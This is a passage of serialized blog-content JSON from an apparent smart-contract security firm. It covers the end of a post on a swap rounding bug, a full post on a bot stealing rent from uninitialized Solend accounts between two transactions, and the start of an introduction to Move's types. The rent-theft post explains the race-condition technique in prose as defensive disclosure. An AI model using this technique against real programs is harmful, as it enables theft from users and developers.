7,"value":3819},{"type":21,"tag":198,"props":5822,"children":5823},{"style":683},[5824],{"type":27,"value":4089},{"type":21,"tag":198,"props":5826,"children":5827},{"style":226},[5828],{"type":27,"value":5533},{"type":21,"tag":198,"props":5830,"children":5831},{"style":211},[5832],{"type":27,"value":233},{"type":21,"tag":198,"props":5834,"children":5835},{"class":200,"line":365},[5836,5840,5844,5848,5852,5856,5860,5864,5868,5872,5876,5880,5884,5888,5892,5896,5900,5904,5908,5912,5916,5920,5924],{"type":21,"tag":198,"props":5837,"children":5838},{"style":683},[5839],{"type":27,"value":5193},{"type":21,"tag":198,"props":5841,"children":5842},{"style":249},[5843],{"type":27,"value":3873},{"type":21,"tag":198,"props":5845,"children":5846},{"style":211},[5847],{"type":27,"value":648},{"type":21,"tag":198,"props":5849,"children":5850},{"style":226},[5851],{"type":27,"value":3882},{"type":21,"tag":198,"props":5853,"children":5854},{"style":211},[5855],{"type":27,"value":828},{"type":21,"tag":198,"props":5857,"children":5858},{"style":226},[5859],{"type":27,"value":3891},{"type":21,"tag":198,"props":5861,"children":5862},{"style":211},[5863],{"type":27,"value":1541},{"type":21,"tag":198,"props":5865,"children":5866},{"style":683},[5867],{"type":27,"value":3174},{"type":21,"tag":198,"props":5869,"children":5870},{"style":211},[5871],{"type":27,"value":648},{"type":21,"tag":198,"props":5873,"children":5874},{"style":698},[5875],{"type":27,"value":3908},{"type":21,"tag":198,"props":5877,"children":5878},{"style":211},[5879],{"type":27,"value":706},{"type":21,"tag":198,"props":5881,"children":5882},{"style":683},[5883],{"type":27,"value":3917},{"type":21,"tag":198,"props":5885,"children":5886},{"style":226},[5887],{"type":27,"value":3922},{"type":21,"tag":198,"props":5889,"children":5890},{"style":211},[5891],{"type":27,"value":828},{"type":21,"tag":198,"props":5893,"children":5894},{"style":2540},[5895],{"type":27,"value":3931},{"type":21,"tag":198,"props":5897,"children":5898},{"style":211},[5899],{"type":27,"value":2109},{"type":21,"tag":198,"props":5901,"children":5902},{"style":683},[5903],{"type":27,"value":3940},{"type":21,"tag":198,"props":5905,"children":5906},{"style":698},[5907],{"type":27,"value":3945},{"type":21,"tag":198,"props":5909,"children":5910},{"style":211},[5911],{"type":27,"value":706},{"type":21,"tag":198,"props":5913,"children":5914},{"style":226},[5915],{"type":27,"value":3954},{"type":21,"tag":198,"props":5917,"children":5918},{"style":211},[5919],{"type":27,"value":2109},{"type":21,"tag":198,"props":5921,"children":5922},{"style":683},[5923],{"type":27,"value":2156},{"type":21,"tag":198,"props":5925,"children":5926},{"style":211},[5927],{"type":27,"value":789},{"type":21,"tag":198,"props":5929,"children":5930},{"class":200,"line":386},[5931,5935,5939,5943,5947,5951,5955,5959,5963,5967,5971,5975,5979,5983,5987,5991,5995,5999,6003,6007,6011,6015,6019,6023,6027],{"type":21,"tag":198,"props":5932,"children":5933},{"style":683},[5934],{"type":27,"value":5193},{"type":21,"tag":198,"props":5936,"children":5937},{"style":683},[5938],{"type":27,"value":3974},{"type":21,"tag":198,"props":5940,"children":5941},{"style":698},[5942],{"type":27,"value":3979},{"type":21,"tag":198,"props":5944,"children":5945},{"style":211},[5946],{"type":27,"value":706},{"type":21,"tag":198,"props":5948,"children":5949},{"style":698},[5950],{"type":27,"value":3988},{"type":21,"tag":198,"props":5952,"children":5953},{"style":211},[5954],{"type":27,"value":706},{"type":21,"tag":198,"props":5956,"children":5957},{"style":683},[5958],{"type":27,"value":3917},{"type":21,"tag":198,"props":5960,"children":5961},{"style":226},[5962],{"type":27,"value":3922},{"type":21,"tag":198,"props":5964,"children":5965},{"style":211},[5966],{"type":27,"value":828},{"type":21,"tag":198,"props":5968,"children":5969},{"style":2540},[5970],{"type":27,"value":3931},{"type":21,"tag":198,"props":5972,"children":5973},{"style":211},[5974],{"type":27,"value":2109},{"type":21,"tag":198,"props":5976,"children":5977},{"style":683},[5978],{"type":27,"value":3940},{"type":21,"tag":198,"props":5980,"children":5981},{"style":698},[5982],{"type":27,"value":3945},{"type":21,"tag":198,"props":5984,"children":5985},{"style":211},[5986],{"type":27,"value":706},{"type":21,"tag":198,"props":5988,"children":5989},{"style":226},[5990],{"type":27,"value":4029},{"type":21,"tag":198,"props":5992,"children":5993},{"style":211},[5994],{"type":27,"value":2109},{"type":21,"tag":198,"props":5996,"children":5997},{"style":683},[5998],{"type":27,"value":3940},{"type":21,"tag":198,"props":6000,"children":6001},{"style":698},[6002],{"type":27,"value":4042},{"type":21,"tag":198,"props":6004,"children":6005},{"style":211},[6006],{"type":27,"value":706},{"type":21,"tag":198,"props":6008,"children":6009},{"style":226},[6010],{"type":27,"value":4051},{"type":21,"tag":198,"props":6012,"children":6013},{"style":211},[6014],{"type":27,"value":2109},{"type":21,"tag":198,"props":6016,"children":6017},{"style":683},[6018],{"type":27,"value":2156},{"type":21,"tag":198,"props":6020,"children":6021},{"style":211},[6022],{"type":27,"value":2109},{"type":21,"tag":198,"props":6024,"children":6025},{"style":683},[6026],{"type":27,"value":2156},{"type":21,"tag":198,"props":6028,"children":6029},{"style":211},[6030],{"type":27,"value":1483},{"type":21,"tag":198,"props":6032,"children":6033},{"class":200,"line":408},[6034,6038,6042,6046,6050,6054],{"type":21,"tag":198,"props":6035,"children":6036},{"style":683},[6037],{"type":27,"value":5193},{"type":21,"tag":198,"props":6039,"children":6040},{"style":640},[6041],{"type":27,"value":4079},{"type":21,"tag":198,"props":6043,"children":6044},{"style":226},[6045],{"type":27,"value":4084},{"type":21,"tag":198,"props":6047,"children":6048},{"style":683},[6049],{"type":27,"value":4089},{"type":21,"tag":198,"props":6051,"children":6052},{"style":226},[6053],{"type":27,"value":3819},{"type":21,"tag":198,"props":6055,"children":6056},{"style":211},[6057],{"type":27,"value":233},{"type":21,"tag":198,"props":6059,"children":6060},{"class":200,"line":429},[6061,6066],{"type":21,"tag":198,"props":6062,"children":6063},{"style":640},[6064],{"type":27,"value":6065}," break",{"type":21,"tag":198,"props":6067,"children":6068},{"style":211},[6069],{"type":27,"value":1483},{"type":21,"tag":198,"props":6071,"children":6072},{"class":200,"line":450},[6073,6077,6081,6085],{"type":21,"tag":198,"props":6074,"children":6075},{"style":683},[6076],{"type":27,"value":5193},{"type":21,"tag":198,"props":6078,"children":6079},{"style":211},[6080],{"type":27,"value":4117},{"type":21,"tag":198,"props":6082,"children":6083},{"style":640},[6084],{"type":27,"value":4122},{"type":21,"tag":198,"props":6086,"children":6087},{"style":211},[6088],{"type":27,"value":233},{"type":21,"tag":198,"props":6090,"children":6091},{"class":200,"line":468},[6092,6096,6100,6104,6108],{"type":21,"tag":198,"props":6093,"children":6094},{"style":683},[6095],{"type":27,"value":5193},{"type":21,"tag":198,"props":6097,"children":6098},{"style":226},[6099],{"type":27,"value":4134},{"type":21,"tag":198,"props":6101,"children":6102},{"style":683},[6103],{"type":27,"value":979},{"type":21,"tag":198,"props":6105,"children":6106},{"style":226},[6107],{"type":27,"value":4084},{"type":21,"tag":198,"props":6109,"children":6110},{"style":211},[6111],{"type":27,"value":1483},{"type":21,"tag":198,"props":6113,"children":6114},{"class":200,"line":477},[6115],{"type":21,"tag":198,"props":6116,"children":6117},{"style":211},[6118],{"type":27,"value":6119}," }\n",{"type":21,"tag":22,"props":6121,"children":6123},{"id":6122},"closing-thoughts",[6124],{"type":27,"value":6125},"Closing Thoughts",{"type":21,"tag":30,"props":6127,"children":6128},{},[6129],{"type":27,"value":6130},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":21,"tag":30,"props":6132,"children":6133},{},[6134,6136,6142],{"type":27,"value":6135},"Another interesting takeaway is that ",{"type":21,"tag":6137,"props":6138,"children":6139},"strong",{},[6140],{"type":27,"value":6141},"fuzzing can give a false sense of security",{"type":27,"value":6143},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":21,"tag":30,"props":6145,"children":6146},{},[6147,6149,6156],{"type":27,"value":6148},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":21,"tag":34,"props":6150,"children":6153},{"href":6151,"rel":6152},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[38],[6154],{"type":27,"value":6155},"port-mortem of the NSS overflow",{"type":27,"value":658},{"type":21,"tag":30,"props":6158,"children":6159},{},[6160],{"type":21,"tag":1376,"props":6161,"children":6163},{"alt":7,"src":6162},"/posts/spl-swap/p0.png",[],{"type":21,"tag":30,"props":6165,"children":6166},{},[6167],{"type":27,"value":6168},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":21,"tag":30,"props":6170,"children":6171},{},[6172],{"type":27,"value":6173},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":21,"tag":30,"props":6175,"children":6176},{},[6177],{"type":27,"value":6178},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":21,"tag":3645,"props":6180,"children":6181},{},[6182],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":6184},[6185,6186,6187,6188],{"id":3726,"depth":217,"text":3729},{"id":4734,"depth":217,"text":4737},{"id":5037,"depth":217,"text":5040},{"id":6122,"depth":217,"text":6125},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":6193,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":6194,"description":6195,"image":6196,"date":6200,"isFeatured":16,"onBlogPage":16,"tags":6201,"body":6202,"_type":3671,"_id":6526,"_source":3673,"_file":6527,"_stem":6528,"_extension":3676},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":6197,"width":6198,"height":6199},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[3688,3689],{"type":18,"children":6203,"toc":6519},[6204,6209,6215,6220,6225,6230,6236,6249,6296,6327,6336,6341,6346,6351,6357,6370,6386,6391,6396,6411,6415,6420,6435,6442,6447,6457,6464,6468,6473,6479,6484,6489,6494,6500,6505],{"type":21,"tag":30,"props":6205,"children":6206},{},[6207],{"type":27,"value":6208},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":21,"tag":22,"props":6210,"children":6212},{"id":6211},"background",[6213],{"type":27,"value":6214},"Background",{"type":21,"tag":30,"props":6216,"children":6217},{},[6218],{"type":27,"value":6219},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":21,"tag":30,"props":6221,"children":6222},{},[6223],{"type":27,"value":6224},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":21,"tag":30,"props":6226,"children":6227},{},[6228],{"type":27,"value":6229},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":21,"tag":22,"props":6231,"children":6233},{"id":6232},"the-exploit",[6234],{"type":27,"value":6235},"The Exploit",{"type":21,"tag":30,"props":6237,"children":6238},{},[6239,6241,6247],{"type":27,"value":6240},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":21,"tag":194,"props":6242,"children":6244},{"className":6243},[],[6245],{"type":27,"value":6246},"init_reserve",{"type":27,"value":6248}," function, which creates 6 new accounts to store data about the reserve:",{"type":21,"tag":71,"props":6250,"children":6251},{},[6252,6257,6262,6267,6278,6283],{"type":21,"tag":75,"props":6253,"children":6254},{},[6255],{"type":27,"value":6256},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":21,"tag":75,"props":6258,"children":6259},{},[6260],{"type":27,"value":6261},"reserve liquidity token account - holds deposited tokens",{"type":21,"tag":75,"props":6263,"children":6264},{},[6265],{"type":27,"value":6266},"fee receiver token account - account which will receive origination fees on borrows",{"type":21,"tag":75,"props":6268,"children":6269},{},[6270,6272],{"type":27,"value":6271},"reserve collateral mint account - deposit receipt token, also known as ",{"type":21,"tag":194,"props":6273,"children":6275},{"className":6274},[],[6276],{"type":27,"value":6277},"cTokens",{"type":21,"tag":75,"props":6279,"children":6280},{},[6281],{"type":27,"value":6282},"reserve collateral token account - holds users' collateral tokens",{"type":21,"tag":75,"props":6284,"children":6285},{},[6286,6288,6294],{"type":27,"value":6287},"creator collateral token account - creator's ",{"type":21,"tag":194,"props":6289,"children":6291},{"className":6290},[],[6292],{"type":27,"value":6293},"cToken",{"type":27,"value":6295}," account",{"type":21,"tag":30,"props":6297,"children":6298},{},[6299,6301,6306,6308,6313,6315,6320,6322],{"type":27,"value":6300},"Account creation and initialization are ",{"type":21,"tag":1671,"props":6302,"children":6303},{},[6304],{"type":27,"value":6305},"usually",{"type":27,"value":6307}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":21,"tag":194,"props":6309,"children":6311},{"className":6310},[],[6312],{"type":27,"value":6246},{"type":27,"value":6314}," is ",{"type":21,"tag":1671,"props":6316,"children":6317},{},[6318],{"type":27,"value":6319},"supposed",{"type":27,"value":6321}," to look like:\n",{"type":21,"tag":1376,"props":6323,"children":6326},{"src":6324,"alt":6325},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":21,"tag":30,"props":6328,"children":6329},{},[6330,6332],{"type":27,"value":6331},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":21,"tag":1376,"props":6333,"children":6335},{"src":6334,"alt":6325},"/posts/rent-thief/attacktransac.png",[],{"type":21,"tag":30,"props":6337,"children":6338},{},[6339],{"type":27,"value":6340},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":21,"tag":30,"props":6342,"children":6343},{},[6344],{"type":27,"value":6345},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":21,"tag":30,"props":6347,"children":6348},{},[6349],{"type":27,"value":6350},"Despite this lost cost, this is pretty annoying...",{"type":21,"tag":22,"props":6352,"children":6354},{"id":6353},"example",[6355],{"type":27,"value":6356},"Example",{"type":21,"tag":30,"props":6358,"children":6359},{},[6360,6362,6369],{"type":27,"value":6361},"Let's take a look at ",{"type":21,"tag":34,"props":6363,"children":6366},{"href":6364,"rel":6365},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[38],[6367],{"type":27,"value":6368},"a real attack",{"type":27,"value":658},{"type":21,"tag":30,"props":6371,"children":6372},{},[6373,6380,6382],{"type":21,"tag":34,"props":6374,"children":6377},{"href":6375,"rel":6376},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[38],[6378],{"type":27,"value":6379},"Transaction 1",{"type":27,"value":6381},":\n",{"type":21,"tag":1376,"props":6383,"children":6385},{"alt":7,"src":6384},"https://i.imgur.com/xJvIwgc.png",[],{"type":21,"tag":30,"props":6387,"children":6388},{},[6389],{"type":27,"value":6390},"(...more accounts truncated)",{"type":21,"tag":30,"props":6392,"children":6393},{},[6394],{"type":27,"value":6395},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":21,"tag":30,"props":6397,"children":6398},{},[6399,6406,6407],{"type":21,"tag":34,"props":6400,"children":6403},{"href":6401,"rel":6402},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[38],[6404],{"type":27,"value":6405},"Attacker's Transaction",{"type":27,"value":6381},{"type":21,"tag":1376,"props":6408,"children":6410},{"alt":7,"src":6409},"https://i.imgur.com/CpSKuL3.png",[],{"type":21,"tag":30,"props":6412,"children":6413},{},[6414],{"type":27,"value":6390},{"type":21,"tag":30,"props":6416,"children":6417},{},[6418],{"type":27,"value":6419},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":21,"tag":30,"props":6421,"children":6422},{},[6423,6430,6431],{"type":21,"tag":34,"props":6424,"children":6427},{"href":6425,"rel":6426},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[38],[6428],{"type":27,"value":6429},"Transaction 2",{"type":27,"value":6381},{"type":21,"tag":1376,"props":6432,"children":6434},{"alt":7,"src":6433},"https://i.imgur.com/of0GIdw.png",[],{"type":21,"tag":30,"props":6436,"children":6437},{},[6438],{"type":21,"tag":1376,"props":6439,"children":6441},{"alt":7,"src":6440},"https://i.imgur.com/0STSyv8.png",[],{"type":21,"tag":30,"props":6443,"children":6444},{},[6445],{"type":27,"value":6446},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":21,"tag":30,"props":6448,"children":6449},{},[6450,6456],{"type":21,"tag":34,"props":6451,"children":6454},{"href":6452,"rel":6453},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[38],[6455],{"type":27,"value":6405},{"type":27,"value":185},{"type":21,"tag":30,"props":6458,"children":6459},{},[6460],{"type":21,"tag":1376,"props":6461,"children":6463},{"alt":7,"src":6462},"https://i.imgur.com/AmSPdmy.png",[],{"type":21,"tag":30,"props":6465,"children":6466},{},[6467],{"type":27,"value":6390},{"type":21,"tag":30,"props":6469,"children":6470},{},[6471],{"type":27,"value":6472},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":21,"tag":22,"props":6474,"children":6476},{"id":6475},"impact",[6477],{"type":27,"value":6478},"Impact",{"type":21,"tag":30,"props":6480,"children":6481},{},[6482],{"type":27,"value":6483},"Rent-thieving attacks don't steal much money.",{"type":21,"tag":30,"props":6485,"children":6486},{},[6487],{"type":27,"value":6488},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":21,"tag":30,"props":6490,"children":6491},{},[6492],{"type":27,"value":6493},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":21,"tag":22,"props":6495,"children":6497},{"id":6496},"solution",[6498],{"type":27,"value":6499},"Solution",{"type":21,"tag":30,"props":6501,"children":6502},{},[6503],{"type":27,"value":6504},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":21,"tag":30,"props":6506,"children":6507},{},[6508,6510,6517],{"type":27,"value":6509},"As a more permenant solution, Solend implemented ",{"type":21,"tag":34,"props":6511,"children":6514},{"href":6512,"rel":6513},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[38],[6515],{"type":27,"value":6516},"an onchain program",{"type":27,"value":6518}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":217,"depth":217,"links":6520},[6521,6522,6523,6524,6525],{"id":6211,"depth":217,"text":6214},{"id":6232,"depth":217,"text":6235},{"id":6353,"depth":217,"text":6356},{"id":6475,"depth":217,"text":6478},{"id":6496,"depth":217,"text":6499},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":6530,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":6531,"description":6532,"author":6533,"image":6534,"date":6538,"isFeatured":16,"onBlogPage":16,"body":6539,"_type":3671,"_id":10068,"_source":3673,"_file":10069,"_stem":10070,"_extension":3676},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":6535,"height":6536,"width":6537},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":18,"children":6540,"toc":10063},[6541,6546,6551,6570,6576,6588,6685,6693,6812,6820,6842,6995,7000,7258,7279,7314,7319,7339,7344,7355,7367,7579,7591,7605,7618,7875,7887,8109,8114,8142,8288,8307,8312,8576,8588,8593,8606,8612,8617,8622,8634,8648,8653,8751,8763,8776,9049,9054,9066,9071,9125,9145,9150,10032,10036,10041,10046,10059],{"type":21,"tag":30,"props":6542,"children":6543},{},[6544],{"type":27,"value":6545},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":21,"tag":30,"props":6547,"children":6548},{},[6549],{"type":27,"value":6550},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":21,"tag":30,"props":6552,"children":6553},{},[6554,6556,6561,6563,6568],{"type":27,"value":6555},"In this piece I'll seek to discuss exactly ",{"type":21,"tag":1671,"props":6557,"children":6558},{},[6559],{"type":27,"value":6560},"how",{"type":27,"value":6562}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":21,"tag":1671,"props":6564,"children":6565},{},[6566],{"type":27,"value":6567},"structurally",{"type":27,"value":6569}," safer programs.",{"type":21,"tag":22,"props":6571,"children":6573},{"id":6572},"types",[6574],{"type":27,"value":6575},"Types",{"type":21,"tag":30,"props":6577,"children":6578},{},[6579,6581,6587],{"type":27,"value":6580},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":21,"tag":194,"props":6582,"children":6584},{"className":6583},[],[6585],{"type":27,"value":6586},"coin.move",{"type":27,"value":658},{"type":21,"tag":187,"props":6589,"children":6591},{"className":3789,"code":6590,"language":3788,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[6592],{"type":21,"tag":194,"props":6593,"children":6594},{"__ignoreMap":7},[6595,6603,6649,6657,6678],{"type":21,"tag":198,"props":6596,"children":6597},{"class":200,"line":201},[6598],{"type":21,"tag":198,"props":6599,"children":6600},{"style":1233},[6601],{"type":27,"value":6602}," /// Main structure representing a coin/token in an account's custody.\n",{"type":21,"tag":198,"props":6604,"children":6605},{"class":200,"line":217},[6606,6611,6616,6620,6625,6630,6635,6640,6645],{"type":21,"tag":198,"props":6607,"children":6608},{"style":249},[6609],{"type":27,"value":6610}," struct",{"type":21,"tag":198,"props":6612,"children":6613},{"style":1966},[6614],{"type":27,"value":6615}," Coin",{"type":21,"tag":198,"props":6617,"children":6618},{"style":211},[6619],{"type":27,"value":3159},{"type":21,"tag":198,"props":6621,"children":6622},{"style":226},[6623],{"type":27,"value":6624},"phantom",{"type":21,"tag":198,"props":6626,"children":6627},{"style":1966},[6628],{"type":27,"value":6629}," CoinType",{"type":21,"tag":198,"props":6631,"children":6632},{"style":211},[6633],{"type":27,"value":6634},"> ",{"type":21,"tag":198,"props":6636,"children":6637},{"style":226},[6638],{"type":27,"value":6639},"has",{"type":21,"tag":198,"props":6641,"children":6642},{"style":226},[6643],{"type":27,"value":6644}," store",{"type":21,"tag":198,"props":6646,"children":6647},{"style":211},[6648],{"type":27,"value":233},{"type":21,"tag":198,"props":6650,"children":6651},{"class":200,"line":236},[6652],{"type":21,"tag":198,"props":6653,"children":6654},{"style":1233},[6655],{"type":27,"value":6656}," /// Amount of coin this address has.\n",{"type":21,"tag":198,"props":6658,"children":6659},{"class":200,"line":260},[6660,6665,6669,6674],{"type":21,"tag":198,"props":6661,"children":6662},{"style":226},[6663],{"type":27,"value":6664}," value",{"type":21,"tag":198,"props":6666,"children":6667},{"style":683},[6668],{"type":27,"value":185},{"type":21,"tag":198,"props":6670,"children":6671},{"style":1966},[6672],{"type":27,"value":6673}," u64",{"type":21,"tag":198,"props":6675,"children":6676},{"style":211},[6677],{"type":27,"value":257},{"type":21,"tag":198,"props":6679,"children":6680},{"class":200,"line":281},[6681],{"type":21,"tag":198,"props":6682,"children":6683},{"style":211},[6684],{"type":27,"value":2249},{"type":21,"tag":30,"props":6686,"children":6687},{},[6688],{"type":21,"tag":1671,"props":6689,"children":6690},{},[6691],{"type":27,"value":6692},"aptos",{"type":21,"tag":187,"props":6694,"children":6696},{"className":3789,"code":6695,"language":3788,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[6697],{"type":21,"tag":194,"props":6698,"children":6699},{"__ignoreMap":7},[6700,6708,6758,6775,6805],{"type":21,"tag":198,"props":6701,"children":6702},{"class":200,"line":201},[6703],{"type":21,"tag":198,"props":6704,"children":6705},{"style":1233},[6706],{"type":27,"value":6707}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":21,"tag":198,"props":6709,"children":6710},{"class":200,"line":217},[6711,6715,6719,6723,6727,6732,6736,6740,6745,6749,6754],{"type":21,"tag":198,"props":6712,"children":6713},{"style":249},[6714],{"type":27,"value":6610},{"type":21,"tag":198,"props":6716,"children":6717},{"style":1966},[6718],{"type":27,"value":6615},{"type":21,"tag":198,"props":6720,"children":6721},{"style":211},[6722],{"type":27,"value":3159},{"type":21,"tag":198,"props":6724,"children":6725},{"style":226},[6726],{"type":27,"value":6624},{"type":21,"tag":198,"props":6728,"children":6729},{"style":1966},[6730],{"type":27,"value":6731}," T",{"type":21,"tag":198,"props":6733,"children":6734},{"style":211},[6735],{"type":27,"value":6634},{"type":21,"tag":198,"props":6737,"children":6738},{"style":226},[6739],{"type":27,"value":6639},{"type":21,"tag":198,"props":6741,"children":6742},{"style":226},[6743],{"type":27,"value":6744}," key",{"type":21,"tag":198,"props":6746,"children":6747},{"style":211},[6748],{"type":27,"value":828},{"type":21,"tag":198,"props":6750,"children":6751},{"style":226},[6752],{"type":27,"value":6753},"store",{"type":21,"tag":198,"props":6755,"children":6756},{"style":211},[6757],{"type":27,"value":233},{"type":21,"tag":198,"props":6759,"children":6760},{"class":200,"line":236},[6761,6766,6770],{"type":21,"tag":198,"props":6762,"children":6763},{"style":226},[6764],{"type":27,"value":6765}," id",{"type":21,"tag":198,"props":6767,"children":6768},{"style":683},[6769],{"type":27,"value":185},{"type":21,"tag":198,"props":6771,"children":6772},{"style":211},[6773],{"type":27,"value":6774}," UID,\n",{"type":21,"tag":198,"props":6776,"children":6777},{"class":200,"line":260},[6778,6783,6787,6792,6796,6801],{"type":21,"tag":198,"props":6779,"children":6780},{"style":226},[6781],{"type":27,"value":6782}," balance",{"type":21,"tag":198,"props":6784,"children":6785},{"style":683},[6786],{"type":27,"value":185},{"type":21,"tag":198,"props":6788,"children":6789},{"style":1966},[6790],{"type":27,"value":6791}," Balance",{"type":21,"tag":198,"props":6793,"children":6794},{"style":211},[6795],{"type":27,"value":3159},{"type":21,"tag":198,"props":6797,"children":6798},{"style":1966},[6799],{"type":27,"value":6800},"T",{"type":21,"tag":198,"props":6802,"children":6803},{"style":211},[6804],{"type":27,"value":3203},{"type":21,"tag":198,"props":6806,"children":6807},{"class":200,"line":281},[6808],{"type":21,"tag":198,"props":6809,"children":6810},{"style":211},[6811],{"type":27,"value":2249},{"type":21,"tag":30,"props":6813,"children":6814},{},[6815],{"type":21,"tag":1671,"props":6816,"children":6817},{},[6818],{"type":27,"value":6819},"sui",{"type":21,"tag":30,"props":6821,"children":6822},{},[6823,6825,6832,6834,6840],{"type":27,"value":6824},"Pulling an example from ",{"type":21,"tag":34,"props":6826,"children":6829},{"href":6827,"rel":6828},"https://pontem.network/",[38],[6830],{"type":27,"value":6831},"Pontem Network's",{"type":27,"value":6833}," Liquidswap DEX implementation on Aptos, we can see that ",{"type":21,"tag":194,"props":6835,"children":6837},{"className":6836},[],[6838],{"type":27,"value":6839},"LiquidityPool",{"type":27,"value":6841}," natively embeds this type information into it's fields.",{"type":21,"tag":187,"props":6843,"children":6845},{"className":3789,"code":6844,"language":3788,"meta":7,"style":7}," /// Liquidity pool with reserves.\n struct LiquidityPool\u003Cphantom X, phantom Y, phantom LP> has key {\n coin_x_reserve: Coin\u003CX>,\n coin_y_reserve: Coin\u003CY>,\n // ...\n 